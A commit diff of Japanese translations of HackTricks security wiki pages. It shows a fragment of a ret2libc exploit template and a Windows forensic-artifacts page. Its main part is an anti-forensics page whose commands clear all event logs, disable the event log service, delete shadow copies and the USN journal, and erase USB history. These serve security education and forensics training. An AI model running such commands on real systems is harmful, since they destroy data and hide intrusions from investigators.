Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

This commit is contained in:
Translator 2024-05-02 15:18:24 +00:00
parent 95b58f38e2
commit 978a7f744c
37 changed files with 1395 additions and 1461 deletions

View file

@ -1,20 +1,20 @@
# libcの漏洩 - テンプレート
# Libcの漏洩 - テンプレート
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) **をフォロー**する
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -208,7 +208,7 @@ P.interactive() #Interact with your shell :)
### MAIN_PLT = elf.symbols\['main'] が見つかりません
"main" シンボルが存在しない場合(おそらくバイナリがストリップされているため、main コードの場所を見つけることができます:
"main" シンボルが存在しない場合(おそらくストリップされたバイナリのため、main コードの場所を見つけることができます:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@ -220,17 +220,17 @@ MAIN_PLT = 0x401080
```
### Putsが見つかりません
バイナリがPutsを使用していない場合は、**それが使用されているかどうかを確認してください**
バイナリがPutsを使用していない場合は、**それが使用されているかどうかを確認**する必要があります。
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
この**エラー**を見つけた場合は、すべてのエクスプロイトを作成した後に`sh: 1: %s%s%s%s%s%s%s%s: not found`を試してください
この**エラー**を見つけた場合は、すべてのエクスプロイトを作成した後に`sh: 1: %s%s%s%s%s%s%s%s: not found`を試してください
**"/bin/sh"のアドレスから64バイトを引いてみてください**
"/bin/sh"のアドレスから**64バイトを引く**ことを試してください。
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -241,10 +241,10 @@ BINSH = next(libc.search("/bin/sh")) - 64
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見す
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>

View file

@ -7,60 +7,60 @@ HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 の **@hacktricks_live** をフォローする
- **ハッキングトリックを共有**するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 の **@hacktricks_live**https://twitter.com/hacktricks_liveをフォローする。
- **HackTricks**https://github.com/carlospolop/hacktricks**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリに **PRを提出**して、あなたのハッキングテクニックを共有してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# タイムスタンプ
攻撃者は**ファイルのタイムスタンプを変更**して検出を回避する可能性があります。\
攻撃者は **ファイルのタイムスタンプを変更** して検出を回避する可能性があります。\
MFT内の属性 `$STANDARD_INFORMATION``$FILE_NAME` にタイムスタンプを見つけることができます。
両方の属性には4つのタイムスタンプがあります**変更**、**アクセス**、**作成**、**MFTレジストリの変更**MACEまたはMACB
両方の属性には **変更**、**アクセス**、**作成**、**MFTレジストリの変更**MACEまたはMACBの4つのタイムスタンプがあります
**Windowsエクスプローラ**や他のツールは **`$STANDARD_INFORMATION`** から情報を表示します。
## TimeStomp - アンチフォレンジックツール
このツールは **`$STANDARD_INFORMATION`** 内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`** 内の情報は**変更しません**。そのため、**疑わしい活動を特定**することが可能です。
このツールは **`$STANDARD_INFORMATION`** 内のタイムスタンプ情報を **変更** しますが、**`$FILE_NAME`** 内の情報は **変更しません**。そのため、**疑わしい活動を特定** することが可能です。
## Usnjrnl
**USNジャーナル**Update Sequence Number JournalはNTFSWindows NTファイルシステムの機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) ツールを使用してこれらの変更を調査できます。
**USN Journal**Update Sequence Number JournalはNTFSWindows NTファイルシステムの機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) ツールを使用すると、これらの変更を調査できます。
![](<../../.gitbook/assets/image (449).png>)
前述の画像は、ファイルにいくつかの変更が加えられたことが示されている **ツール**の **出力**です。
前述の画像は、ファイルにいくつかの変更が加えられたことが示されている **ツール**による **出力** です。
## $LogFile
ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead_logging)としてプロセスに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある `**$LogFile**` という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析して変更を特定できます。
ファイルシステムへのすべてのメタデータ変更は、[先行ログ記録](https://en.wikipedia.org/wiki/Write-ahead_logging)としてログに記録されます。記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある `**$LogFile**` という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)などのツールを使用して、このファイルを解析して変更を特定できます。
![](<../../.gitbook/assets/image (450).png>)
同様に、ツールの出力では **いくつかの変更が行われた**ことがわかります。
再び、ツールの出力では **いくつかの変更が行われた** ことがわかります。
同じツールを使用して、**タイムスタンプがいつ変更されたか**を特定できます:
同じツールを使用して、**タイムスタンプがいつ変更されたかを特定**することができます:
![](<../../.gitbook/assets/image (451).png>)
- CTIMEファイルの作成時刻
- ATIMEファイルの変更時刻
- MTIMEファイルのMFTレジストリの変更
- RTIMEファイルのアクセス時刻
- CTIME: ファイルの作成時刻
- ATIME: ファイルの変更時刻
- MTIME: ファイルのMFTレジストリの変更
- RTIME: ファイルのアクセス時刻
## `$STANDARD_INFORMATION``$FILE_NAME` の比較
疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し、**不一致**を探すことです。
疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較し、 **不一致** を探すことです。
## ナノ秒
**NTFS**のタイムスタンプは**100ナ秒の精度**を持ちます。そのため、2010-10-10 10:10:**00.000:0000 のようなタイムスタンプを持つファイルは非常に疑わしいです。
**NTFS** のタイムスタンプは **100ナ秒の精度** を持ちます。そのため、2010-10-10 10:10:**00.000:0000 のようなタイムスタンプを持つファイルは非常に疑わしいです。
## SetMace - アンチフォレンジックツール
@ -68,22 +68,22 @@ MFT内の属性 `$STANDARD_INFORMATION` と `$FILE_NAME` にタイムスタン
# データの隠蔽
NFTSはクラスタと最小情報サイズを使用します。つまり、ファイルが1つ半分のクラスタを使用している場合、ファイルが削除されるまで**残りの半分は決して使用されません**。そのため、このスラックスペースにデータを**隠すことが可能**です。
NFTSはクラスタと最小情報サイズを使用します。つまり、ファイルが1つのクラスターと半分を占有している場合、**残りの半分はファイルが削除されるまで使用されません**。そのため、この「隠れた」スペースにデータを **隠すことが可能** です。
このような「隠れた」スペースにデータを隠すことができる slacker などのツールがあります。ただし、`$logfile` と `$usnjrnl` の分析により、データが追加されたことが示される可能性があります:
このような「隠れた」スペースにデータを隠すことができる slacker などのツールがあります。ただし、`$logfile` と `$usnjrnl` の分析により、いくつかのデータが追加されたことがわかる場合があります:
![](<../../.gitbook/assets/image (452).png>)
その後、FTK Imagerのようなツールを使用してスラックスペースを取得できます。この種のツールは、コンテンツを難読化したり、暗号化したりすることができますので注意してください。
その後、FTK Imagerなどのツールを使用してスラックスペースを取得することが可能です。この種のツールは、コンテンツを難読化したり、暗号化したりすることができることに注意してください。
# UsbKill
これは、USBポートに変更が検出された場合にコンピューターを**シャットダウン**するツールです。\
これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトを確認**することです。
これは、USBポートの変更が検出されるとコンピューターを **シャットダウン** するツールです。\
これを発見する方法は、実行中のプロセスを検査し、 **実行中の各Pythonスクリプトを確認** することです。
# ライブLinuxディストリビューション
これらのディストリビューションは**RAM内で実行**されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、侵入を検出することが可能です。読み取り権限でマウントされている場合は、検出することはできません。
これらのディストリビューションは **RAM内で実行** されます。NTFSファイルシステムが書き込み権限でマウントされている場合にのみ、侵入を検出することが可能です。読み取り権限でマウントされている場合は、侵入を検出することはできません。
# 安全な削除
@ -91,29 +91,29 @@ NFTSはクラスタと最小情報サイズを使用します。つまり、フ
# Windowsの設定
フォレンジック調査を困難にするために、Windowsの複数のログ記録方法を無効にすることが可能です。
フォレンジック調査を困難にするために、Windowsのさまざまなログ記録方法を無効にすることが可能です。
## タイムスタンプの無効化 - UserAssist
これは、ユーザーが実行した各実行可能ファイルの日付と時を維持するレジストリキーです。
これは、ユーザーが実行した各実行可能ファイルの日付と時を維持するレジストリキーです。
UserAssistを無効にするには、2つの手順が必要です:
UserAssist を無効にするには、次の手順が必要です:
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs``HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` の2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs``HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` の2つのレジストリキーをゼロに設定して、UserAssist を無効にしたいことを示します。
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` のようなレジストリサブツリーをクリアします。
## タイムスタンプの無効化 - Prefetch
これは、Windowsシステムのパフォーマンスを向上させることを目的として実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジックの実践にも役立ちます。
- `regedit` を実行
- ファイルパス `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` を選択
- `EnablePrefetcher``EnableSuperfetch` の両方を右クリックし、それぞれの値を1または3から0に変更するために「変更」を選択
- 再起動
- `regedit` を実行します
- ファイルパス `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` を選択します
- `EnablePrefetcher``EnableSuperfetch` の両方を右クリックし、それぞれの値を1または3から0に変更するために、それぞれの「変更」を選択します
- 再起動します
## タイムスタンプの無効化 - 最終アクセス時刻
Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは**リストされた各フォルダーのタイムスタンプフィールド**である最終アクセス時刻を更新します。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。
Windows NTサーバーのNTFSボリュームからフォルダーが開かれるたびに、システムは **リストされた各フォルダーのタイムスタンプフィールド** である最終アクセス時刻を更新します。使用頻度の高いNTFSボリュームでは、これがパフォーマンスに影響する可能性があります。
1. レジストリエディタRegedit.exeを開きます。
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` に移動します。
@ -121,47 +121,62 @@ Windows NTサーバーのNTFSボリュームからフォルダーが開かれる
4. レジストリエディタを閉じ、サーバーを再起動します。
## USB履歴の削除
すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されています。このキーには、PCやラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。これを削除することでUSBの履歴を削除できます。\
また、[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)ツールを使用して削除したことを確認することもできます。
すべての**USBデバイスエントリ**は、Windowsレジストリの**USBSTOR**レジストリキーの下に保存されています。このキーには、PCやラップトップにUSBデバイスを接続するたびに作成されるサブキーが含まれています。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除**するとUSBの履歴が削除されます。\
また、ツール[**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html)を使用して削除したことを確認することもできます(および削除することもできます)
USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。
## シャドウコピーの無効化
`vssadmin list shadowstorage`でシャドウコピーを**リスト**します\
`vssadmin list shadowstorage`でシャドウコピーを**リスト**します\
`vssadmin delete shadow`を実行してそれらを**削除**します。
GUIを使用しても削除できます。手順は[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)に提案されている手順に従います。
また、[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)で提案された手順に従ってGUIを使用して削除することもできます。
シャドウコピーを無効にするには[こらの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)に従います:
シャドウコピーを無効にするには[ここからの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)に従います:
1. Windowsのスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。
2. リストから「Volume Shadow Copy」を見つけ、右クリックしてプロパティにアクセスします。
3. 「起動の種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックします。
3. 「起動の種類」ドロップダウンメニューから「無効」を選択し、変更を確認するために適用してOKをクリックします。
レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`でコピーされるファイルの構成を変更することも可能です。
また、レジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`でコピーされるファイルの構成を変更することも可能です。
## 削除されたファイルの上書き
* **Windowsツール**を使用できます:`cipher /w:C` これにより、cipherにCドライブ内の未使用ディスク領域からデータを削除するよう指示ます。
* **Windowsツール**を使用できます:`cipher /w:C`これにより、cipherにCドライブ内の未使用ディスク領域からデータを削除するよう指示されます。
* [**Eraser**](https://eraser.heidi.ie)などのツールも使用できます。
## Windowsイベントログの削除
* Windows + R --> eventvwr.msc --> 「Windowsログ」を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択します。
* Windows + R --> eventvwr.msc --> "Windows Logs"を展開 --> 各カテゴリを右クリックして「ログをクリア」を選択します。
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Windowsイベントログの無効化
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* サービスセクション内でサービス「Windowsイベントログ」を無効にします。
* サービスセクション内でサービス「Windows Event Log」を無効にします。
* `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl`
## $UsnJrnlの無効化
* `fsutil usn deletejournal /d c:`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>で!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -6,17 +6,17 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) を **フォロー** してください。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに **PRを提出** して、あなたのハッキングテクニックを共有してください。
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -24,33 +24,33 @@ HackTricksをサポートする他の方法
### Windows 10通知
パス`\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`には、Windows Anniversaryより前の`appdb.dat`またはWindows Anniversary以降の`wpndatabase.db`というデータベースがあります。
パス `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` には、Windows Anniversaryより前の `appdb.dat` または Windows Anniversary以降の `wpndatabase.db` というデータベースがあります。
このSQLiteデータベース内には、興味深いデータを含む可能性があるすべての通知XML形式を含む`Notification`テーブルがあります。
このSQLiteデータベース内には、興味深いデータを含む可能性があるすべての通知XML形式を含む `Notification` テーブルがあります。
### タイムライン
タイムラインは、訪れたWebページ、編集されたドキュメント、実行されたアプリケーションの**時間順の履歴**を提供するWindowsの特性です。
タイムラインは、訪れたWebページ、編集されたドキュメント、実行されたアプリケーションの **時間順の履歴** を提供するWindowsの特性です。
データベースはパス`\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`にあります。このデータベースはSQLiteツールで開くことも、[**WxTCmd**](https://github.com/EricZimmerman/WxTCmd)というツールで開くこともできます。**これにより、2つのファイルが生成され、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md)ツールで開くことができます。**
データベースはパス `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` にあります。このデータベースはSQLiteツールで開くことができ、または [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) というツールで開くこともできます。このツールは、[**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) で開くことができる2つのファイルを生成します。
### ADS代替データストリーム
### ADSAlternate Data Streams
ダウンロードされたファイルには、それがイントラネット、インターネットなどから**どのように**ダウンロードされたかを示す**ADS Zone.Identifier**が含まれる場合があります。一部のソフトウェアブラウザなどは、ファイルがダウンロードされたURLなどの**さらに多くの情報**を通常含めます。
ダウンロードたファイルには、それがイントラネット、インターネットなどから **どのように** ダウンロードされたかを示す **ADS Zone.Identifier** が含まれている場合があります。一部のソフトウェアブラウザなどは、ファイルがダウンロードされたURLなど **さらに多くの情報** を通常含めます。
## **ファイルバックアップ**
### リサイクルビン
Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルートにあるフォルダ**`$Recycle.bin`**にあります(`C:\$Recycle.bin`)。\
このフォルダでファイルが削除されると、2つの特定のファイルが作成されます
Vista/Win7/Win8/Win10 では、**リサイクルビン** はドライブのルートにあるフォルダ **`$Recycle.bin`** にあります(`C:\$Recycle.bin`)。
このフォルダでファイルが削除されると、2つの特定のファイルが作成されます:
* `$I{id}`: ファイル情報(削除された日付)
* `$R{id}`: ファイルの内容
![](<../../../.gitbook/assets/image (486).png>)
これらのファイルを使用すると、ツール[**Rifiuti**](https://github.com/abelcheung/rifiuti2)を使用して、削除されたファイルの元のアドレスと削除された日付を取得できますVista Win10用に`rifiuti-vista.exe`を使用します)。
これらのファイルを使用して、ツール [**Rifiuti**](https://github.com/abelcheung/rifiuti2) を使用して、削除されたファイルの元のアドレスと削除された日付を取得できますVista Win10 では `rifiuti-vista.exe` を使用します)。
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
@ -58,9 +58,9 @@ Vista/Win7/Win8/Win10では、**リサイクルビン**はドライブのルー
### ボリュームシャドウコピー
Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。これは、使用中であっても可能です。
Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータファイルやボリュームの**バックアップコピー**やスナップショットを作成できます。それらが使用中であってもです。
これらのバックアップは通常、ファイルシステムのルートにある`\System Volume Information`にあり、名前は以下の画像に示されている**UID**で構成されています:
これらのバックアップは通常、ファイルシステムのルート`\System Volume Information`にあり、名前は以下の画像に示されている**UID**で構成されています
![](<../../../.gitbook/assets/image (520).png>)
@ -68,11 +68,11 @@ Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータ
![](<../../../.gitbook/assets/image (521).png>)
レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています:
レジストリエントリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`には、**バックアップしない**ファイルとキーが含まれています
![](<../../../.gitbook/assets/image (522).png>)
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`にも`Volume Shadow Copies`に関する構成情報が含まれています。
レジストリ`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`には、`Volume Shadow Copies`に関する構成情報も含まれています。
### オフィスの自動保存ファイル
@ -84,20 +84,20 @@ Shadow Copyは、Microsoft Windowsに含まれる技術で、コンピュータ
### 最近のドキュメントLNK
Windowsは、ユーザーがファイルを**開いたり使用したり作成したり**すると、これらの**ショートカット**を**自動的に作成**します:
Windowsは、ユーザーがファイルを**開いたり使用したり作成したりする**きに、これらの**ショートカット**を**自動的に作成**します
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
フォルダが作成されると、そのフォルダへのリンク、親フォルダへのリンク、祖父フォルダへのリンクも作成されます。
これら自動的に作成されたリンクファイルには、**ファイル**または**フォルダ**であるか、そのファイルの**MACタイム**、ファイルが保存されている場所の**ボリューム情報**、**ターゲットファイルのフォルダ**が含まれる情報があります。これらの情報は、削除された場合にこれらのファイルを回復するのに役立ちます。
これら自動的に作成されたリンクファイルには、**ファイル**か**フォルダ**か、そのファイルの**MACタイム**、ファイルが保存されている場所の**ボリューム情報**、**ターゲットファイルのフォルダ**が含まれる情報があります。これらの情報は、削除された場合にこれらのファイルを回復するのに役立ちます。
また、リンクファイルの**作成日**は、元のファイルが**最初に使用された時間**であり、リンクファイルの**変更日**は、元のファイルが**最後に使用された時間**です。
これらのファイルを検査するには、[**LinkParser**](http://4discovery.com/our-tools/)を使用できます。
このツールでは、**2つのセット**のタイムスタンプが見つかります:
このツールでは、**2つのセット**のタイムスタンプが見つかります
* **最初のセット:**
1. FileModifiedDate
@ -106,7 +106,7 @@ Windowsは、ユーザーがファイルを**開いたり使用したり作成
* **2番目のセット:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
3. LinkCreationDate
最初のセットのタイムスタンプは、**ファイル自体のタイムスタンプ**を参照します。2番目のセットは、**リンクされたファイルのタイムスタンプ**を参照します。
@ -116,13 +116,13 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
### ジャンプリスト
これは、**アプリケーションごとに示される最近使用されたファイル**のリストです。各アプリケーションでアクセスできる**最近使用されたファイルのリスト**です。これらは**自動的に作成されるか、カスタム**になります。
